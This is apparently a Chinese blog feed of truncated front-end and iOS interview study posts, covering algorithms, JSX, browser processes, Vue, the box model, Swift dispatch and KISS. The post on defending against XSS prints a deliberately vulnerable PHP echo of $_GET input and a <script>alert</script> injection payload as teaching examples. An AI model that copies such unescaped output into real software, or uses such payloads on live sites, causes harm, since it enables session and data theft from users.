突出个人特色，避免平铺直述
适度准备，保持自然流畅
结合岗位特点，突出匹配度

2. 标准盒模型与IE盒模型的区别，如何通过CSS切换两种模型？

题目要点

考察对CSS盒模型的深入理解，包括两种盒模型的区别、计算方式及其对布局的影响。同时也考察在工程实践中如何合理使用box-sizing，以及不同盒模型在响应式布局中的应用场景和性能影响。

参考答案

1.1 原理说明

两种盒模型的区别：
- 标准盒模型 (content-box)： • width/height 仅包含内容区域 • 实际占用空间 = width + padding + border + margin • 优点：精确控制内容区域大小 • 缺点：需要额外计算实际占用空间

字节-本地生活-校招 · 第 1 轮 · 二面

Tue, 24 Jun 2025 14:45:10 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本轮面试重点考察候选人的项目经验、技术深度和工程化思维。主要包括：

算法编程能力：通过合并有序数组等题目考察基本编程功底
项目经验：深入考察实习期间的技术选型、架构设计等关键决策
微前端技术：重点关注跨应用通信、样式隔离等核心问题
AI 应用实践：考察将新技术应用到工程实践中的能力
跨窗口通信：考察复杂场景下的技术方案设计能力

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 将两个升序数组合并为一个升序数组

题目要点

数组操作能力
双指针算法应用
原地修改的实现
边界条件处理

参考答案

这道题可以使用双指针从后向前遍历的方法，将较大的数放入nums1的末尾。代码实现如下：

function merge(nums1, m, nums2, n) {
 let p1 = m - 1; // nums1的指针
 let p2 = n - 1; // nums2的指针
 let p = m + n - 1; // 合并后数组的指针

 while (p2 >= 0) { // 只要nums2还有元素需要合并
 if (p1 >= 0 && nums1[p1] > nums2[p2]) {
 nums1[p] = nums1[p1];
 p1--;
 } else {
 nums1[p] = nums2[p2];
 p2--;
 }
 p--;
 }
 return nums1;
}

算法分析：

时间复杂度：O(m+n)，只需遍历一次
空间复杂度：O(1)，原地修改不需要额外空间
关键点：从后向前遍历避免覆盖nums1中的有效元素

2. 上一段实习在联想主要做的是什么产品？采用了什么技术架构？

题目要点

这是一道主观性问题，面试官主要考察：

项目描述能力：是否能清晰表达项目背景、目标和价值
技术选型能力：是否有合理的技术决策思路
架构设计能力：是否理解系统设计的关键点
业务理解能力：是否深入理解业务需求和痛点

答题建议：建议从项目背景、技术架构、实现亮点和项目成果四个方面展开。重点说明项目的业务价值和技术特点，展现自己在项目中的贡献和成长。

参考答案

“在联想实习期间，我主要负责一个企业级IT资产管理平台的开发工作。这是一个服务于公司内部的中后台系统，日均活跃用户约2000人，管理着超过10万台设备资产。这个平台的核心价值在于提升IT资产管理效率，降低运维成本。

JSX

Tue, 17 Dec 2024 00:00:00 +0800

时下虽然接入 JSX 语法的框架越来越多，但与之缘分最深的毫无疑问仍然是 React。

2013 年，当 React 带着 JSX 横空出世时，社区曾对 JSX 有过不少的争议，但如今，越来越多的人面对 JSX 都要说上一句“真香”！我们就来一起认识下这个“真香”的 JSX，聊一聊“JSX 代码是如何‘摇身一变’成为 DOM 的”。

开始之前请先思考几个问题：

JSX 的本质是什么，它和 JS 之间到底是什么关系？
为什么要用 JSX？不用会有什么后果？
JSX 背后的功能模块是什么，这个功能模块都做了哪些事情？

面对以上问题，如果无法形成清晰且系统的思路，那么很可能是把 JSX 想得过于简单了。大多数人只是简单地把它理解为模板语法的一种，但事实上，JSX 作为 React 框架的一大特色，它与 React 本身的运作机制之间存在着千丝万缕的联系，上述 3 个问题的答案，就恰恰隐藏在这层“联系”中。

JSX 的本质：JavaScript 的语法扩展

JSX 到底是什么?看看 React 官网给出的一段定义：

JSX 是 JavaScript 的一种语法扩展，它和模板语言很接近，但是它充分具备 JavaScript 的能力。

“语法扩展”这一点在理解上几乎不会产生歧义，不过“它充分具备 JavaScript 的能力”这句，却总让人摸不着头脑，JSX 和 JS 怎么看也不像是“一路人”啊？这就引出了“JSX 语法是如何在 JavaScript 中生效的”这个问题。

JSX 语法是如何在 JavaScript 中生效的：认识 Babel

Facebook 公司给 JSX 的定位是 JavaScript 的“扩展”，而非 JavaScript 的“某个版本”，这就直接决定了浏览器并不会像天然支持 JavaScript 一样地支持 JSX。那么，JSX 的语法是如何在 JavaScript 中生效的呢？React 官网其实早已给过我们线索：

浏览器渲染过程

Tue, 17 Dec 2024 00:00:00 +0800

渲染流程

首先要了解的概念:

渲染引擎：它是浏览器最核心的部分是 “Rendering Engine”，不过我们一般习惯将之称为 “浏览器内核”
渲染引擎主要包括的线程：

各个线程主要职责：

GUI渲染线程：GUI 渲染线程负责渲染浏览器界面，解析 HTML，CSS，构建 DOM 树和 RenderObject 树，布局和绘制等。当界面需要重绘（Repaint）或由于某种操作引发回流（Reflow）时，该线程就会执行。
JavaScript引擎线程: JavaScript 引擎线程主要负责解析 JavaScript 脚本并运行相关代码。 JavaScript 引擎在一个Tab页（Renderer 进程）中无论什么时候都只有一个 JavaScript 线程在运行 JavaScript 程序。需要提起一点就是，GUI线程与JavaScript引擎线程是互斥的，这也是就是为什么JavaScript操作时间过长，会造成页面渲染不连贯，导致页面出现阻塞的原理。
事件触发线程：当一个事件被触发时该线程会把事件添加到待处理队列的队尾，等待 JavaScript 引擎的处理。通常JavaScript引擎是单线程的，所以这些事件都会排队等待JS执行。
定时器触发器：我们日常使用的setInterval 和 setTimeout 就在该线程中，原因可能就是：由于JS引擎是单线程的，如果处于阻塞线程状态就会影响记时的准确，所以需要通过单独的线程来记时并触发响应的事件这样子更为合理。
Http请求线程：在 XMLHttpRequest 在连接后是通过浏览器新开一个线程请求，这个线程就Http请求线程，它将检测到状态变更时，如果设置有回调函数，异步线程就产生状态变更事件放到 JavaScript 引擎的处理队列中等待处理。

有了上述的概念，对接下我们讲渲染流水线会有所帮助

简略版的渲染机制

很久之前就把浏览器工作原理读完了，看了很多博客，文章，当时简简单单的梳理一些内容,如下👇

简略版渲染机制一般分为以下几个步骤

处理 HTML 并构建 DOM 树。
处理 CSS 构建 CSSOM 树。
将 DOM 与 CSSOM 合并成一个渲染树。
根据渲染树来布局，计算每个节点的位置。
调用 GPU 绘制，合成图层，显示在屏幕上。

接下来大概就是这么说：

在构建 CSSOM 树时，会阻塞渲染，直至 CSSOM 树构建完成。并且构建 CSSOM 树是一个十分消耗性能的过程，所以应该尽量保证层级扁平，减少过度层叠，越是具体的 CSS 选择器，执行速度越慢。

浏览器的进程和线程

Tue, 17 Dec 2024 00:00:00 +0800

区分进程和线程

线程和进程区分不清，是很多新手都会犯的错误，没有关系。这很正常。先看看下面这个形象的比喻：

- 进程是一个工厂，工厂有它的独立资源

- 工厂之间相互独立

- 线程是工厂中的工人，多个工人协作完成任务

- 工厂内有一个或多个工人

- 工人之间共享空间

再完善完善概念：

- 工厂的资源 -> 系统分配的内存（独立的一块内存）

- 工厂之间的相互独立 -> 进程之间相互独立

- 多个工人协作完成任务 -> 多个线程在进程中协作完成任务

- 工厂内有一个或多个工人 -> 一个进程由一个或多个线程组成

- 工人之间共享空间 -> 同一进程下的各个线程之间共享程序的内存空间（包括代码段、数据集、堆等）

然后再巩固下：

如果是windows电脑中，可以打开任务管理器，可以看到有一个后台进程列表。对，那里就是查看进程的地方，而且可以看到每个进程的内存资源信息以及cpu占有率。

所以，应该更容易理解了：进程是cpu资源分配的最小单位（系统会给它分配内存）

最后，再用较为官方的术语描述一遍：

进程是cpu资源分配的最小单位（是能拥有资源和独立运行的最小单位）
线程是cpu调度的最小单位（线程是建立在进程的基础上的一次程序运行单位，一个进程中可以有多个线程）

tips

不同进程之间也可以通信，不过代价较大
现在，一般通用的叫法：单线程与多线程，都是指在一个进程内的单和多。（所以核心还是得属于一个进程才行）

浏览器是多进程的

理解了进程与线程了区别后，接下来对浏览器进行一定程度上的认识：（先看下简化理解）

浏览器是多进程的
浏览器之所以能够运行，是因为系统给它的进程分配了资源（cpu、内存）
简单点理解，每打开一个Tab页，就相当于创建了一个独立的浏览器进程。

关于以上几点的验证，请再第一张图：

图中打开了Chrome浏览器的多个标签页，然后可以在Chrome的任务管理器中看到有多个进程（分别是每一个Tab页面有一个独立的进程，以及一个主进程）。感兴趣的可以自行尝试下，如果再多打开一个Tab页，进程正常会+1以上

**注意：**在这里浏览器应该也有自己的优化机制，有时候打开多个tab页后，可以在Chrome任务管理器中看到，有些进程被合并了（所以每一个Tab标签对应一个进程并不一定是绝对的）

浏览器都包含哪些进程？

知道了浏览器是多进程后，再来看看它到底包含哪些进程：（为了简化理解，仅列举主要进程）

Browser进程：浏览器的主进程（负责协调、主控），只有一个。作用有

负责浏览器界面显示，与用户交互。如前进，后退等
负责各个页面的管理，创建和销毁其他进程
将Renderer进程得到的内存中的Bitmap，绘制到用户界面上
网络资源的管理，下载等

第三方插件进程：每种类型的插件对应一个进程，仅当使用该插件时才创建
GPU进程：最多一个，用于3D绘制等
浏览器渲染进程（浏览器内核）（Renderer进程，内部是多线程的）：默认每个Tab页面一个进程，互不影响。主要作用为

页面渲染，脚本执行，事件处理等

强化记忆：在浏览器中打开一个网页相当于新起了一个进程（进程内有自己的多线程）

当然，浏览器有时会将多个进程合并（譬如打开多个空白标签页后，会发现多个空白标签页被合并成了一个进程），如图

另外，可以通过Chrome的更多工具 -> 任务管理器自行验证

浏览器多进程的优势

相比于单进程浏览器，多进程有如下优点：

避免单个page crash影响整个浏览器
避免第三方插件crash影响整个浏览器
多进程充分利用多核优势
方便使用沙盒模型隔离插件等进程，提高浏览器稳定性

简单点理解：如果浏览器是单进程，那么某个Tab页崩溃了，就影响了整个浏览器，体验有多差；同理如果是单进程，插件崩溃了也会影响整个浏览器；而且多进程还有其它的诸多优势。。。

当然，内存等资源消耗也会更大，有点空间换时间的意思。

重点是浏览器内核（渲染进程）

重点来了，我们可以看到，上面提到了这么多的进程，那么，对于普通的前端操作来说，最终要的是什么呢？答案是渲染进程

前端模块化

Sat, 05 Oct 2024 00:00:00 +0800

一、模块化的理解

1.什么是模块?

将一个复杂的程序依据一定的规则(规范)封装成几个块(文件), 并进行组合在一起
块的内部数据与实现是私有的, 只是向外部暴露一些接口(方法)与外部其它模块通信

2.模块化的进化过程

全局function模式 : 将不同的功能封装成不同的全局函数
- 编码: 将不同的功能封装成不同的全局函数
- 问题: 污染全局命名空间, 容易引起命名冲突或数据不安全，而且模块成员之间看不出直接关系

function m1(){
 //...
}
function m2(){
 //...
}

namespace模式 : 简单对象封装
- 作用: 减少了全局变量，解决命名冲突
- 问题: 数据不安全(外部可以直接修改模块内部的数据)

let myModule = {
 data: 'www.baidu.com',
 foo() {
 console.log(`foo() ${this.data}`)
 },
 bar() {
 console.log(`bar() ${this.data}`)
 }
}
myModule.data = 'other data' //能直接修改模块内部的数据
myModule.foo() // foo() other data

这样的写法会暴露所有模块成员，内部状态可以被外部改写。

IIFE模式：匿名函数自调用(闭包)
- 作用: 数据是私有的, 外部只能通过暴露的方法操作
- 编码: 将数据和行为封装到一个函数内部, 通过给window添加属性来向外暴露接口
- 问题: 如果当前这个模块依赖另一个模块怎么办?

// index.html文件
<script type="text/javascript" src="module.js"></script>
<script type="text/javascript">
 myModule.foo()
 myModule.bar()
 console.log(myModule.data) //undefined 不能访问模块内部数据
 myModule.data = 'xxxx' //不是修改的模块内部的data
 myModule.foo() //没有改变
</script>

// module.js文件
(function(window) {
 let data = 'www.baidu.com'
 //操作数据的函数
 function foo() {
 //用于暴露有函数
 console.log(`foo() ${data}`)
 }
 function bar() {
 //用于暴露有函数
 console.log(`bar() ${data}`)
 otherFun() //内部调用
 }
 function otherFun() {
 //内部私有的函数
 console.log('otherFun()')
 }
 //暴露行为
 window.myModule = { foo, bar } //ES6写法
})(window)

最后得到的结果：

Vue实例挂载

Fri, 04 Oct 2024 00:00:00 +0800

一、思考

我们都听过知其然知其所以然这句话

那么不知道大家是否思考过new Vue()这个过程中究竟做了些什么？

过程中是如何完成数据的绑定，又是如何将数据渲染到视图的等等

一、分析

首先找到vue的构造函数

源码位置：src\core\instance\index.js

function Vue (options) {
 if (process.env.NODE_ENV !== 'production' &&
 !(this instanceof Vue)
 ) {
 warn('Vue is a constructor and should be called with the `new` keyword')
 }
 this._init(options)
}

options是用户传递过来的配置项，如data、methods等常用的方法

vue构建函数调用_init方法，但我们发现本文件中并没有此方法，但仔细可以看到文件下方定定义了很多初始化方法

initMixin(Vue); // 定义 _init
stateMixin(Vue); // 定义 $set $get $delete $watch 等
eventsMixin(Vue); // 定义事件 $on $once $off $emit
lifecycleMixin(Vue);// 定义 _update $forceUpdate $destroy
renderMixin(Vue); // 定义 _render 返回虚拟dom

首先可以看initMixin方法，发现该方法在Vue原型上定义了_init方法

源码位置：src\core\instance\init.js

Vue.prototype._init = function (options?: Object) {
 const vm: Component = this
 // a uid
 vm._uid = uid++
 let startTag, endTag
 /* istanbul ignore if */
 if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
 startTag = `vue-perf-start:${vm._uid}`
 endTag = `vue-perf-end:${vm._uid}`
 mark(startTag)
 }

 // a flag to avoid this being observed
 vm._isVue = true
 // merge options
 // 合并属性，判断初始化的是否是组件，这里合并主要是 mixins 或 extends 的方法
 if (options && options._isComponent) {
 // optimize internal component instantiation
 // since dynamic options merging is pretty slow, and none of the
 // internal component options needs special treatment.
 initInternalComponent(vm, options)
 } else { // 合并vue属性
 vm.$options = mergeOptions(
 resolveConstructorOptions(vm.constructor),
 options || {},
 vm
 )
 }
 /* istanbul ignore else */
 if (process.env.NODE_ENV !== 'production') {
 // 初始化proxy拦截器
 initProxy(vm)
 } else {
 vm._renderProxy = vm
 }
 // expose real self
 vm._self = vm
 // 初始化组件生命周期标志位
 initLifecycle(vm)
 // 初始化组件事件侦听
 initEvents(vm)
 // 初始化渲染方法
 initRender(vm)
 callHook(vm, 'beforeCreate')
 // 初始化依赖注入内容，在初始化data、props之前
 initInjections(vm) // resolve injections before data/props
 // 初始化props/data/method/watch/methods
 initState(vm)
 initProvide(vm) // resolve provide after data/props
 callHook(vm, 'created')

 /* istanbul ignore if */
 if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
 vm._name = formatComponentName(vm, false)
 mark(endTag)
 measure(`vue ${vm._name} init`, startTag, endTag)
 }
 // 挂载元素
 if (vm.$options.el) {
 vm.$mount(vm.$options.el)
 }
 }

仔细阅读上面的代码，我们得到以下结论：

Let/Const

Wed, 02 Oct 2024 00:00:00 +0800

Var

在 ES6 出现之前，必须使用 var 声明。但是，前端开发出现的一些问题与使用 var 声明的变量有关。这就是为什么必须要有新的方法来声明变量。首先，让我们在讨论这些问题之前更多地了解 var。

var 的作用域

作用域本质上是指变量/函数可供访问的范围。var可以在全局范围声明或函数/局部范围内声明。

当在最外层函数的外部声明var变量时，作用域是全局的。这意味着在最外层函数的外部用var声明的任何变量都可以在windows中使用。

当在函数中声明var时，作用域是局部的。这意味着它只能在函数内访问。

要进一步了解，请查看下面的示例。

var greeter = 'hey hi';

function newFunction() {
 var hello = 'hello';
}

这里，greeter是全局范围的，因为它存在于函数外部，而hello是函数范围的。因此，我们无法在函数外部访问变量hello。因此，如果我们这样做：

var tester = 'hey hi';
function newFunction() {
 var hello = 'hello';
}
console.log(hello); // error: hello is not defined

我们会收到错误消息，这是由于函数外部没有hello导致的。

var 变量可以重新声明和修改

这意味着我们可以在相同的作用域内执行下面的操作，并且不会出错

var greeter = 'hey hi';
var greeter = 'say Hello instead';

又比如

var greeter = 'hey hi';
greeter = 'say Hello instead';

var 的变量提升

变量提升是 JavaScript 的一种机制:在执行代码之前，变量和函数声明会移至其作用域的顶部。这意味着如果我们这样做:

console.log(greeter);
var greeter = 'say hello';

生面的代码会被解释为:

var greeter;
console.log(greeter); // greeter is undefined
greeter = 'say hello';

因此，将var声明的变量会被提升到其作用域的顶部，并使用 undefined 值对其进行初始化.

XSS防御

Wed, 02 Oct 2024 00:00:00 +0800

一、简述

跨站脚本（Cross-site scripting，简称为：CSS, 但这会与层叠样式表（Cascading Style Sheets，CSS）的缩写混淆。因此，跨站脚本攻击缩写为XSS）是一种网站应用程序的安全漏洞攻击。

XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。

二、XSS类型

最常见的几种分类：反射型（非持久型）XSS、存储型（持久型）XSS、DOM型XSS、通用型XSS、突变型XSS。

反射型XSS

反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器，要利用这个漏洞，攻击者必须以某种方式诱导用户访问一个精心设计的URL（恶意链接），才能实施攻击。

举例来说，当一个网站的代码中包含类似下面的语句:

<?php echo "<p>hello,$_GET['user']</p>"; ?>

如果未做防范XSS，用户名设为<script>alert("Tz")</script>,则会执行预设好的JavaScript代码。

漏洞成因

当用户的输入或者一些用户可控参数未经处理地输出到页面上，就容易产生XSS漏洞。主要场景有以下几种：

将不可信数据插入到HTML标签之间时；// 例如div, p, td；
将不可信数据插入到HTML属性里时；// 例如：<div width=$INPUT></div>
将不可信数据插入到SCRIPT里时；// 例如：<script>var message = ” $INPUT “;</script>
还有插入到Style属性里的情况，同样具有一定的危害性；// 例如<span style=” property : $INPUT ”></span>
将不可信数据插入到HTML URL里时，// 例如：<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>
使用富文本时，没有使用XSS规则引擎进行编码过滤。

对于以上的几个场景，若服务端或者前端没有做好防范措施，就会出现漏洞隐患。

攻击流程

反射型XSS通常出现在搜索等功能中，需要被攻击者点击对应的链接才能触发，且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大，所以它的危害性较存储型要小。

存储型XSS

存储型（或 HTML 注入型/持久型）XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站，不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码（反射型XSS通常只在url中）到一个网站上其他用户可能访问的地方。这些地区可能是博客评论，用户评论，留言板，聊天室，HTML 电子邮件，wikis，和其他的许多地方。一旦用户访问受感染的页，执行是自动的。

漏洞成因

存储型XSS漏洞的成因与反射型的根源类似，不同的是恶意代码会被保存在服务器中，导致其它用户（前端）和管理员（前后端）在访问资源时执行了恶意代码，用户访问服务器-跨站链接-返回跨站代码。

攻击流程

DOM型XSS

通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。

数据类型

Tue, 01 Oct 2024 00:00:00 +0800

前言

请讲下 JavaScript 中的数据类型？

前端面试中，估计大家都被这么问过。

答：Javascript 中的数据类型包括原始类型和引用类型。其中原始类型包括 Null、Undefined、Boolean、String、Symbol、BigInt。引用类型指的是 Object。

没错，我也是这么回答的，只是这通常是第一个问题，由这个问题可以引出很多很多的问题，比如

Null 和 Undefined 有什么区别？前端的判空有哪些需要注意的？
typeof null 为什么是 object?
为什么 ES6 要提出 Symbol？
BigInt 解决了什么问题？
为什么 0.1 + 0.2 !== 0.3? 你如何解决这个问题？
如何判断一个值是数组？
…

弱类型语言

因为 JavaScript 是弱类型语言或者说是动态语言。这意味着你不需要提前声明变量的类型，在程序运行的过程中，类型会被自动确定，也就是说你可以使用同一个变量保存不同类型的值

var foo = 42; // foo is a Number now
foo = "bar"; // foo is a String now
foo = true; // foo is a Boolean now

这一特性给我们带来便利的同时，也给我们带来了很多的类型错误。试想一下，假如 JS 说是强类型语言，那么各个类型之间没法转换，也就有了一层隔阂或者说一层保护，会不会更加好维护呢？——这或许就是 TypeScript 诞生的原因。

对 JavaScript 的数据类型掌握，是一个前端最基本的知识点

null 还是 undefined

定义

undefined 表示未定义的变量。null 值表示一个空对象指针。

盒子模型

Mon, 30 Sep 2024 00:00:00 +0800

前端盒子模型是网页布局的基础概念，对于前端开发者来说，理解盒子模型是至关重要的。

1. 盒子模型的组成部分

内容（Content）:
盒子中实际显示的文本或图像部分。内容区的大小由 width 和 height 属性确定。
内边距（Padding）:
内容与边框之间的空间。它用于增加内容与边框之间的距离，可以通过 padding、padding-top、padding-right、padding-bottom 和 padding-left 属性进行设置。
边框（Border）:
环绕在内边距和内容周围的边界。可以设置边框的宽度、样式和颜色。相关属性包括 border、border-width、border-style 和 border-color。
外边距（Margin）:
盒子外部的空间。用于控制元素与元素之间的间距。可以通过 margin、margin-top、margin-right、margin-bottom 和 margin-left 属性进行设置。

2. 标准盒子模型与替代盒子模型

标准盒子模型（content-box）:
默认的盒子模型。width 和 height 只包含内容区，不包括内边距和边框。因此，元素的实际占用空间是 width + padding + border。
替代盒子模型（border-box）:
通过设置 box-sizing: border-box，使得 width 和 height 包括内边距和边框，这样内容区的大小会自动调整以适应总高度和宽度。这样做通常可以避免许多布局问题。

示例

.box {
 box-sizing: content-box; /* 默认值 */
 width: 200px;
 padding: 20px;
 border: 5px solid black;
}

在标准模型下：

总宽度 = 200px + 20px (左内边距) + 20px (右内边距) + 5px (左边框) + 5px (右边框) = 250px

.box {
 box-sizing: border-box; /* 替代模型 */
 width: 200px;
 padding: 20px;
 border: 5px solid black;
}

在替代模型下：

HTML 5 新特性

Tue, 24 Sep 2024 00:00:00 +0800

HTML5 新特性

语义标签
增强型表单
视频和音频
Canvas绘图
SVG绘图
地理定位
拖拽API
WebWorker
WebStorage
WebSocket

语义标签

语义化标签使得页面的内容结构化，可以使开发者更方便清晰地构建页面的布局

标签	描述
`<header>`	定义了文档的头部区域
`<footer>`	定义了文档的尾部区域
`<nav>`	定义文档的导航
`<section>`	定义文档中的书
`<acticle>`	定义页面独立的内容区域
`<aside>`	定义页面侧边栏内容
`<details>`	定义用户可以看到或隐藏的额外细节
`<summary>`	标签包含details元素的标题
`<dialog>`	定义对话框
`<figure>`	定义自包含内容，如图表
`<main>`	定义文档主内容

增强型表单

HTML5新增input输入特性，改善更好的输入控制和验证

输入类型	描述
color	主要用于选取颜色
date	选取日期
datetime	选取日期（UTC时间）
datetime-local	选取日期（无时区）
month	选择一个月份
week	选择周和年
time	选择一个时间
email	包含email地址的输入域
number	数值的输入域
url	url地址的输入域
tel	定义输入电话号码的字段
search	用于搜索域
range	一个范围内数字值的输入域

HTML5也新增了五个表单元素

Swift 面试：泛型、协议与派发源码解析

Tue, 16 Jun 2026 09:06:27 +0800

Swift 面试：泛型、协议与派发源码解析

Swift 面试里，泛型和协议经常不是单独问语法，而是连着问：Swift 中函数派发机制有哪几种？泛型是编译期还是运行期机制？协议调用为什么可能慢？some 和 any 为什么性能不同？Protocol Witness Table 到底是什么？

这篇文章按面试题展开，把答案落到 Swift 编译器里的 Generic Signature、Generic Specializer、SIL 调用指令、Protocol Witness Table、class vtable 和 Devirtualize 优化。

面试高频问题

Swift 中函数派发机制有哪几种？
直接派发、class vtable 派发、witness table 派发、Objective-C 消息派发分别适用于什么场景？
function_ref、class_method、witness_method、objc_method 在 SIL 里分别代表什么？
如何用 swiftc -emit-silgen / swiftc -emit-sil -O 观察派发指令？
dynamic / @objc dynamic 会怎样影响派发？
如何用代码对比泛型、some、any 的派发和性能差异？
Swift 泛型是运行时泛型还是编译期泛型？
Generic Signature 是什么？它保存哪些信息？
泛型特化为什么能提升性能？
Protocol Witness Table 是什么？
协议方法调用什么时候是静态派发，什么时候是动态派发？
some Protocol 和 any Protocol 的本质区别是什么？
final、private、具体类型为什么有利于优化？
协议扩展里的方法一定是动态派发吗？
class_method 和 witness_method 有什么区别？
面试里如何解释“Swift 既强调协议，又强调性能”？

30 秒回答版

Swift 函数派发面试不要只答“静态派发和动态派发”。更完整的分类是：直接派发、class vtable 派发、protocol witness table 派发、Objective-C 消息派发，再补充优化器可能把动态调用去虚拟化成直接调用。

AI编程工具

Sat, 02 May 2026 22:32:27 +0800

AI编程工具正在重塑软件开发的工作方式。从简单的代码补全到自主完成复杂任务的编程Agent，这个领域在短短两三年内经历了巨大的变化。本文梳理AI编程工具的核心概念、工作原理和实践方法。

一、AI编程工具的演进

1.1 三代AI编程工具

graph LR
G1["第一代
代码补全
Copilot (2021)"] --> G2["第二代
对话式编程
ChatGPT (2022)"]
G2 --> G3["第三代
编程Agent
Cursor/Devin (2024+)"]

代际	交互方式	能力范围	代表产品
第一代	行内补全，按Tab接受	单行/单函数级别	GitHub Copilot
第二代	对话框问答	代码片段级别	ChatGPT、Claude
第三代	Agent模式，自主执行	跨文件/跨系统级别	Cursor、Windsurf、Devin

1.2 当前主流工具对比

工具	类型	核心特点
GitHub Copilot	IDE插件	最早的AI编程助手，集成在VS Code/JetBrains等主流IDE中
Cursor	独立IDE	基于VS Code深度定制，Agent模式、多文件编辑
Windsurf	独立IDE	Codeium推出，强调"Flow"模式的流畅体验
Claude Code	CLI工具	终端中运行的编程Agent，适合命令行工作流
Devin	云端Agent	全自主编程Agent，自带开发环境
Amazon Q Developer	IDE插件	AWS深度集成，擅长云原生开发

二、AI编程工具的工作原理

2.1 代码补全的原理

代码补全是最基础的能力。以Copilot为例：

graph LR
CTX["上下文收集
当前文件内容
打开的相关文件
光标位置"] --> PROMPT["构造Prompt"]
PROMPT --> LLM["LLM
（Codex/GPT-4）"]
LLM --> SUGGEST["补全建议"]
SUGGEST --> USER["用户
Tab接受 / Esc拒绝"]

上下文收集是关键——模型看到的上下文越好，补全质量越高：

Block底层原理

Sat, 02 May 2026 22:32:27 +0800

基础概念

Block 是 Apple 在 C 语言基础上扩展的语法特性（也称为 Closure / 闭包），它允许将一段代码和其执行时需要的上下文环境封装为一个可传递的对象。Block 在 Objective-C 和 C/C++ 中均可使用，是 GCD、动画 API、回调等场景的核心机制。

// Block 的声明与调用
void (^myBlock)(NSString *) = ^(NSString *name) {
 NSLog(@"Hello, %@", name);
};
myBlock(@"World");

一个核心问题是：Block 是函数指针还是对象？ 答案是——Block 本质上是一个 OC 对象。它的底层是一个包含 isa 指针的 C 结构体，满足 OC 对象的基本条件；同时它也包含一个函数指针（FuncPtr），指向 Block 实际执行的代码。因此可以说，Block 是一个用对象形式包装了函数指针和捕获变量的特殊 OC 对象。

底层数据结构

通过 clang -rewrite-objc 可以将 Block 语法转换为 C++ 代码，观察其底层结构。这个转换虽然不完全等同于最终编译产物，但准确反映了 Block 的数据布局和调用机制。

编译器转换示例

对以下源码：

int main() {
 int a = 10;
 void (^block)(void) = ^{
 NSLog(@"%d", a);
 };
 block();
 return 0;
}

Clang 会将其转换为如下结构：

KISS原则

Sat, 02 May 2026 22:32:27 +0800

什么是KISS原则？

KISS（Keep It Simple, Stupid）原则是软件工程中最重要的设计原则之一。它的核心理念是：简单的解决方案比复杂的解决方案更好。

核心思想

简单不等于简陋

KISS 原则强调的"简单"是指：

易于理解：代码的意图一目了然
易于修改：改动时不会牵一发而动全身
易于调试：出问题时容易定位原因
易于测试：测试用例简单直接

简单不意味着功能缺失或代码草率，而是用最直接的方式解决问题。

复杂性的代价

不必要的复杂性会带来：

更高的学习成本：新成员需要更长时间理解代码
更多的 bug：复杂逻辑更容易出错
更难维护：修改一处可能影响多处
更慢的开发速度：需要考虑更多的边界情况

graph LR
A[复杂性增加] --> B[理解成本上升]
A --> C[Bug 概率上升]
A --> D[维护难度上升]
B --> E[开发效率下降]
C --> E
D --> E

iOS开发中的KISS实践

1. 选择简单的架构

// 过度设计：小项目使用复杂的 VIPER 架构
// 每个模块都有 View, Interactor, Presenter, Entity, Router
// 一个简单的列表页面需要创建 5+ 个文件

// KISS：根据项目规模选择合适的架构
// 小项目：MVC 就足够了
class UserListViewController: UIViewController {
 private var users: [User] = []

 override func viewDidLoad() {
 super.viewDidLoad()
 loadUsers()
 }

 private func loadUsers() {
 Task {
 users = try await UserService.shared.fetchUsers()
 tableView.reloadData()
 }
 }
}

// 随着项目增长，再逐步引入更复杂的架构

2. 避免过早优化

// 违反 KISS：过早引入复杂的缓存机制
class ImageLoaderOverEngineered {
 private let memoryCache = NSCache<NSString, UIImage>()
 private let diskCache: DiskCache
 private let networkQueue = DispatchQueue(label: "imageLoader", attributes: .concurrent)
 private let cacheQueue = DispatchQueue(label: "cacheQueue")
 private var pendingRequests: [URL: [(UIImage?) -> Void]] = [:]
 private let requestLock = NSLock()

 func loadImage(from url: URL, completion: @escaping (UIImage?) -> Void) {
 // 复杂的多级缓存、请求合并、线程同步逻辑...
 // 对于大多数 App 来说，这可能是过度设计
 }
}

// KISS：从简单开始
class SimpleImageLoader {
 private let cache = NSCache<NSString, UIImage>()

 func loadImage(from url: URL) async -> UIImage? {
 let key = url.absoluteString as NSString

 // 先检查缓存
 if let cached = cache.object(forKey: key) {
 return cached
 }

 // 从网络加载
 guard let (data, _) = try? await URLSession.shared.data(from: url),
 let image = UIImage(data: data) else {
 return nil
 }

 // 存入缓存
 cache.setObject(image, forKey: key)
 return image
 }
}

// 当真正遇到性能问题时，再逐步优化

3. 简化条件逻辑

// 违反 KISS：复杂的嵌套条件
func processOrder(_ order: Order) -> Result<Receipt, OrderError> {
 if order.items.count > 0 {
 if order.customer != nil {
 if order.customer!.isVerified {
 if order.paymentMethod != nil {
 if order.shippingAddress != nil {
 if order.totalAmount > 0 {
 // 终于可以处理订单了...
 return .success(Receipt())
 } else {
 return .failure(.invalidAmount)
 }
 } else {
 return .failure(.noShippingAddress)
 }
 } else {
 return .failure(.noPaymentMethod)
 }
 } else {
 return .failure(.unverifiedCustomer)
 }
 } else {
 return .failure(.noCustomer)
 }
 } else {
 return .failure(.emptyOrder)
 }
}

// KISS：使用 Guard 早期返回
func processOrderSimple(_ order: Order) -> Result<Receipt, OrderError> {
 guard !order.items.isEmpty else {
 return .failure(.emptyOrder)
 }

 guard let customer = order.customer else {
 return .failure(.noCustomer)
 }

 guard customer.isVerified else {
 return .failure(.unverifiedCustomer)
 }

 guard order.paymentMethod != nil else {
 return .failure(.noPaymentMethod)
 }

 guard order.shippingAddress != nil else {
 return .failure(.noShippingAddress)
 }

